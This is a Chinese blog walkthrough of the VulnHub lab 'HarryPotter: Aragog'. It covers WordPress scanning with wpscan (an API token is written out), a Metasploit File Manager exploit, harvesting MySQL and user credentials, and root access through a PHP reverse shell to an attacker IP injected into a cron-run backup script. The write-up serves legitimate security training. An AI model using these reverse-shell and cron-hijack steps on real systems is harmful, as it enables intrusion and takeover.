【VulnHub靶场】——HARRYPOTTER第一部: ARAGOG (1.0.2)_aragog靶场-程序员宅基地

技术标签: VulnHub靶场  安全  web安全  网络安全  

作者名:Demo不是emo 

主页面链接:主页传送门
创作初心:对于计算机的学习者来说,初期的学习无疑是最迷茫和难以坚持的,我也刚接触计算机1年,也在不断的探索,在CSDN写博客主要是为了分享自己的学习历程,学习方法,总结的经验等等,希望能帮助到大家
座右铭:不要让时代的悲哀成为你的悲哀
专研方向:网络安全,数据结构

每日emo:人们感到委屈的时候通常就说睡了

 8dee9dffaf4f4339aa1f67be600a46e7.png

 今天的博客内容是HARRYPOTTER: ARAGOG (1.0.2)教程(简单难度),靶场环境来源于VulnHub,该网站有很多虚拟机靶场,靶场平台入口在这,推荐大家使用,大家进去直接搜索HARRYPOTTER: ARAGOG (1.0.2)就能下载今天的靶场了,也可以找我拿,开始对今天靶场的介绍

这是哈利波特vm系列的第一个靶场,总共有三个靶场,其中隐藏了8个魂器,今天这个靶场中隐藏了两个,意思就是今天的靶场有两个flag,话不多说我们来见识见识

靶场地址HarryPotter: Aragog (1.0.2) ~ VulnHub

目录

一:攻击准备

二:信息收集

 1.http服务探测

2.wpscan工具 

 3.msf获权

三.最终提权 

 1.数据库权限

2.用户权限

3.root提权

四:拓展 


一:攻击准备

直接在vbox导入就可以,如果出现了报错,就把启用usb控制器关掉就可以正常打开了

2c0f9c432be449b49b655775d8dc080e.png

这里除了到vulnhub下载到的目标虚拟机环境,还需要一台kali,并且两台处于同一网段(可以都用桥接模式),虚拟机管理设备用vm和virtual均可,我这里就用virtual来给大家演示了,如下面这样就是搭建完成了,具体搭建过程就不多讲了,不懂得也可以私信问我 

 (因为我这是校园网,有防护所以c段不同,这里都用桥接模式即可,而且靶机也显示了ip地址,只要能ping通就可以进行靶场操作了)

401c27d1576c48948d42b5e129aec13c.png

二:信息收集

 这里看到,我的kali攻击机的ip是172.21.100.73,而目标机器的ip是172.21.122.235,既然知道了对方的ip,我们就直接用nmap详细扫描一下,扫描结果如下:

e61e6d758b18469f883932d0f8dcda60.png

 1.http服务探测

根据上面的扫描结果可以看到对方开启了22端口(ssh服务)和80端口(http服务),因为ssh需要用户名等敏感信息,所以我们就先探测对方的http服务,即通过目标的ip访问目标搭建的网页,访问结果如下:

e0351ffea4b44f14af2da9cafb0db4d5.png

可以看到这个页面内只有一张图片,而且在f12开发者审查元素里面也没有发现异常,在靶场之中看到图片,大部分都涉及了隐写术,这里我们用wget命令把图片下载到本地再输入steghide工具(一款开源的隐写工具)使用info参数查看图片,命令如下:

steghide info harry_potter_1.jpg 

具体操作如下:

cac45d19749243fdafa4b5804c3ab3f5.png

可以看到提取图片数据时需要密码,我们并没有密码,隐写术的探索就只能暂停了,所以想要继续探测http服务就只能找敏感目录,这里我们使用kali 自带的dirsearch目录爆破工具来探测目录,命令如下:

dirsearch -u "172.21.122.235" -e * 

探测结果如下:

518f55038aec43b1875d6fbef600130b.png

可以看到这里扫出来目录中,/index.html/javascript, /server-status,/blog下的部分目录,并且出现了wp-login.php,这也说明了这是一个wordpress的cms框架,这些才可以访问,我们依次尝试,果然在blog这个页面发现了作者给出的提示,提示如下:(这里其他的访问页面就不展示了,太多了)

7d682596402841ea9d316cfc91a6b055.png

就是这样一个页面,因为全是英文,所以我们也可以来翻译一下 

d7c369e86c6f48feae5dfe8a5317b751.png

这里大家能看明白了吧,他提示了这是一个wordpress站点,这也印证了前面我们的猜想,同时,这个blog页面应该也是wordpress搭建的根目录

2.wpscan工具 

我们这里还是用kali自带的工具wpscan来进一步获取信息,这是一款专门用来探测wordpress站点漏洞的工具,还可以检测wordpress站点用的插件存在的漏洞 ,但是这款工具wpscan规定扫描漏洞时,需要带上token值,才能显示出漏洞详细信息。这个token只需要去他的官网注册一下再登录就可以拿到了,如果不带token值,不会显示漏洞信息

c24fdadcdc7d4f4982f94b8553f208f2.png

这里拿到了token值 ,再依次输入下面指令(把ip换成你们自己攻击机的ip)即可

检测wordpress站点的漏洞
wpscan --api-token=ncpMue7yoUJi54sMafxWaHh4ntwFTTwQWCadedVv6sQ --url=http://172.21.122.235/blog

检测wordpress站点所用插件的漏洞
wpscan --api-token=ncpMue7yoUJi54sMafxWaHh4ntwFTTwQWCadedVv6sQ --url=http://172.21.122.235/blog -e vp

站点漏洞检测结果如下:

720fe5257a534b4da29e964f313dade6.png

可以 发现该站点的插件中有很多漏洞,而且都是关于file Manager的,所以我们直接去msf上看看有没有对应的漏洞利用工具

 3.msf获权

直接打开kali的msfconsole,这个就不用介绍了吧,再使用search命令查找可以利用的工具,查找结果如下:

aab9fc4e407240f3aa64fd4d6ad842ed.png

可以看到有四个结果,我们使用第二个,因为这个名称正是我们刚才探测出来的4个漏洞之一,use 1进入到该工具内,再使用info命令查看需要配置哪些东西

fe2f401e5cdd433797f5ccacfadeeabb.png 可以看到这里需要配置rhost(目标主机),targeturl(目标网址),这个目标网址会自动跟前面的目标主机拼接,所以我们直接把rhost设置为靶机的ip,targeturl设置成/blog即可,这里因为使用的是反向,所以还需要配置自己的主机ip,再运行即可,效果如下:

b28139d4eb1d40d4a0599d49021a50d2.png

可以看到,这里我们成功拿到了网站权限,第一个魂器就在家目录的hagrid98目录下

9426afc539854ac297e6fc9f6bf79832.png

 这段乱码一看就是base64格式,我们直接拿去在线站点解压,解压结果如下:

1: RidDlE's DiAry dEstroYed By haRry in chaMbEr of SeCrets

翻译:1:里德尔的日记本被哈利在密室中摧毁

三.最终提权 

 1.数据库权限

 前面获得的是网站权限,而且第二个魂器还没拿到,所以我们继续探索,wordpress用户会在mysql数据库中存储信息,在/etc/wordpress里可以打开config-default.php。这里记录了MySQL的用户名密码,可以用于登录数据库

11066eedfb974290bf39bea15566f15b.png

注意:登录数据库之前得首先得获取一个tty shell,不然我们在数据库中的命令就看不到回显(可以理解为将非交互式shell变成了交互式shell),输入下面命令即可拿到tty shell 

python3 -c 'import pty; pty.spawn("/bin/bash");'

步骤如下 

6cda5af7a6154926ab5942cfaf5d81ca.png 像上面这样就是拿到了tty 权限,接下来就是根据上面拿到的mysql的账密来尝试远程登录了

 86799f8e68684fe69eaba63ec73badb2.png

可以看到这里我们成功登陆了目标的数据库,wordpress数据库保存的用户名和密码一般都放在wp_users表里面的,我们直接查找里面的内容试试 

62ec1f3145184d37b069ea3a7d86a827.png

成功拿到了用户名和密码,我们将密码拿去md5在线站点解密,解密的结果如下:

password123

2.用户权限

 因为我们刚才在数据库中拿到了账密,最开始的信息探测中又发现目标开启了ssh服务,所以我们直接尝试远程登录ssh服务,步骤如下:

2d7e5703625c49819e468efcaf300c17.png

成功拿到用户权限,现在我们就该考虑怎么提升为root权限了

3.root提权

 7f10ffe9927341d196985c7fcac535b6.png

 这里我们尝试了查找了一下作者有没有留下可以sudo提权的工具和历史命令,都没有发现,那就很可能是敏感文件了,我们先看看bak备份文件

8508e6517ca146a3a125647b93831e60.png

成功发现了一个以sh为后缀的文件,相信大家平时没少看到此类文件吧,此类文件大多都是脚本,我们用cat再仔细看看

7cec85eb1a904512b500f2020a52d2d5.png

这个脚本的大概意思是,把上传的文件复制到tmp这个目录里,即拷贝文件 ,说明这个文件每过一段时间就会执行,推测应该被写入了计划任务,这里我们尝试建立一个反弹shell的脚本并通过它这个计划任务来执行

在tmp文件下创建反弹shell的php脚本并命名为a.php,脚本代码如下

<?php $sock=fsockopen("172.21.100.73 ",9999);exec("/bin/sh -i <&3 >&3 2>&3"); ?>

因为我们猜测有一个计划任务会不断执行刚刚我们找到的.backup文件,所以我们把执行脚本的命令也写入该文件内,让其不断执行脚本,加入代码后如下 

8f442a3a2144420aa92df8b1ee3658dd.png 这里的/usr/bin/php是php的执行文件的目录,这样才能执行php文件,可能有的同学执行文件位置不一样,所以就需要找一下了

df0fa27e7999402b9d236a6f66a1ba5c.png

 再新开一个终端,监听9999端口,不到一分钟就可以接收到shell了,可以看到是root用户了已经

四:拓展 

这里我们也可以来查看一下计划任务,进一步验证我们的猜想

0b9e337ed9124e028029d112aa89143b.png

可以看到,root下确实存在了一个计划任务来执行刚才那个脚本文件 ,给自己点个赞

到这里今天的靶场就全部结束了,如果你看到这里了希望你也能给自己点个赞,最后,感谢大家的阅读,有什么问题随时都可以问评论或私信我,加油哇

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_63844103/article/details/127124436

智能推荐

友华光猫超级密码获取——PT622&PT632_pt622g超级密码-程序员宅基地

文章浏览阅读4.8w次,点赞5次,收藏14次。前言上上周家里宽带升级成了200M,原有的100M光猫不能用了,电信公司给换上了一个新的1000M光猫,同时也将网络连接方式给从原来的光猫桥接改成光猫路由了,这让我自己的小服务器顿时与外界失去联系了。于是想进入光猫管理界面把连接方式修改回来,哪曾想进去后根本没有发现修改页面,好吧,知道是电信公司搞得鬼,我需要扒掉电信公司给带的套,无套作业才爽嘛。_pt622g超级密码

解决idea 2020.2版本安装jclasslib无法使用_jclasslib-bytecode-viewer插件没用-程序员宅基地

文章浏览阅读2.1k次,点赞5次,收藏5次。使用jclasslib不光可以直观地查看某个类对应的字节码文件,还可以查看类的基本信息、常量池、接口、属性、函数等信息。使用idea自带插件下载的方式安装在这就不说啦……网络上一大堆啦……说说我遇到的问题:我的idea版本是2020.2的,使用插件市场下载jclasslib后,点击view只有show Bytecode,没有JClasslib我怀疑应该是我的idea版本和插件的版本不太兼容,或者是新版的插件有其他更改导致然后找到了插件官网https://plugins.je..._jclasslib-bytecode-viewer插件没用

深色地图_科技公司如何使用“深色图案”来欺骗您-程序员宅基地

文章浏览阅读108次。深色地图Websites like Amazon, Facebook, and Google don’t just appear: people make them. Everything about their design is intentional, is serving some kind of purpose—and sometimes those designs deliberate..._深色地图如何制作

软件测试常用方法实例与分析_软件测试如何找测试点实例分析-程序员宅基地

文章浏览阅读5.9k次。软件测试常用方法总结实例分析_软件测试如何找测试点实例分析

Golang 判断数组某个元素是否存在 (isset)_golang isset-程序员宅基地

文章浏览阅读3.9w次。如,现在需要判断命令行是否传了参数,即os.Args[1] 是否存在如果使用下述的判断:package mainimport ( "fmt" "os")func main() { if os.Args[1] != "" { fmt.Println("aaa") } else { fmt.Println("bbb") } }会报错:index out ..._golang isset

使用AI预测北京房价:Bj_HousePricePredict项目解析与实践-程序员宅基地

文章浏览阅读352次,点赞5次,收藏3次。使用AI预测北京房价:Bj_HousePricePredict项目解析与实践项目地址:https://gitcode.com/xiaoyusmd/Bj_HousePricePredict项目简介Bj_HousePricePredict 是一个基于Python的数据挖掘和机器学习项目,其主要目标是通过分析历史数据来预测北京市的房价。该项目包含了数据预处理、特征工程、模型训练与验证等多个环节,提...

随便推点

类模板的分离编译问题_seqlist后为什么加<datatype>-程序员宅基地

文章浏览阅读199次。类模板的分离编译类模板的分离编译,即模板类的定义和其模板成员函数(接口)的定义不在同一文件中。如模板类的定义在.h头文件中,同时在.h头文件中声明接口,而在模板类之外的.cpp文件中定义接口。此时在main函数中,如果只引用.h头文件,编译会报错。原因:大多数编译器,不支持类模板的分离编译!(1)实现分离编译其实也可以实现分离编译。解决办法:在main函数中引用定义接口的.cpp文件,这时..._seqlist后为什么加

利用JavaFx开发windows应用程序 —— 界面篇-程序员宅基地

文章浏览阅读3.1k次。为什么80%的码农都做不了架构师?>>> ..._javafx打印界面

[转]ALSA --- amixer控制声卡驱动实现Line-in功能_amixer scontrols寻找name-程序员宅基地

文章浏览阅读1.3k次。ALSA --- amixer控制声卡驱动实现Line-in功能_amixer scontrols寻找name

main方法参数疑问_一个类example的main()方法的参数是args-程序员宅基地

文章浏览阅读2k次。今天在网上看到一个这样的题目(如下),在我的能力范围之内,我认为此题选择C项,可是答案是D,我不明白原因,求大神帮忙啊。。。一个类Example的main()方法的参数是args,类被如下调用执行:java Example cat main方法中访问args[0]的输出是什么?A、catB、ExampleC、javaD、NullPointerException异常_一个类example的main()方法的参数是args

项目总结——基于WebGL的点云全景可视化_webgl 大量点云处理-程序员宅基地

文章浏览阅读1.6w次,点赞12次,收藏47次。1.项目简介这个项目是我2016年研一上学期的个人项目,目的是使用webgl在浏览器端渲染点云和全景数据,要求流畅高效,能够实现海量点云和全景数据的可视化,以及基于点云的简单量测功能(使用ThreeJS库,也涉及到简单的前端、数据库知识)。这个项目是在我的本科毕业设计的基础上进行的,本科毕设做的是基于webgl的点云可视化(点云网络可视化示例),研一上做的是用多分辨率八叉树建立点云索引,并增加_webgl 大量点云处理

[angular + ngzorro报错]the icon appstore-o does not exist or is not registered._uncaught error: [@ant-design/icons-angular]:the ic-程序员宅基地

文章浏览阅读846次。原因是在build项目的时候找不到路径导致的解决方案在angular.js 中加入 { "glob": "**/*", "input": "./node_modules/@ant-design/icons-angular/src/inline-svg/", "output": "/assets/" }..._uncaught error: [@ant-design/icons-angular]:the icon user-o does not exist o

推荐文章

热门文章

相关标签